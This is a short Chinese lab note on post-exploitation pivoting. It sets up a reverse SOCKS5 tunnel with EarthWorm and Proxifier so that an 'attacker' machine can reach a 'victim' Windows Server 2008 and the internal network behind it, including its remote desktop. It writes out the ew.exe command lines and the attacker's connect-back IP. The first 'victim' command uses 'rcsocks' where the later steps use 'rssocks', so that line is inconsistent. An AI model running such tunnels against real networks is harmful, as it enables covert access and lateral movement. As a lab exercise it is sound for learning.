EarthWorm是一款用于开启 SOCKS v5 代理服务的工具，基于标准 C 开发，可提供多平台间的转接通讯，用于复杂网络环境下的数据转发。
Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。
- 反向
- 攻击者
ew.exe -s rcsocks -l 1080 -e 8888
受害者win2008
ew.exe -s rcsocks -d 攻击者ip -e 8888
实验环境：
- Windows Server 2008 R2 x64（192.168.70.128、10.1.1.1）
- Windows Server 2003（10.1.1.2）
- IIS服务器
- EarthWorm
- proxifier
环境搭建：
为win2008添加一块网卡，ip设为10.1.1.1
将win2003的网络选成VM1
将ip设为10.1.1.2
将win2003的IIS服务器写上网页内容，并且保证win2008能够访问到
两台机器开启均开启远程桌面
将EarthWorm上传到win2008上
模拟实验：
进入ew所在目录cd E:\学习资料\后渗透\day0318\ew
输入ew_for_Win.exe -s rcsocks -l 1080 -e 8888
win2008中输入ew.exe -s rssocks -d 192.168.0.14 -e 8888
然后proxifier代理ip设为127.0.0.1端口为1080
连接成功后会有大量数据传输
此時远程桌面也是可以连接的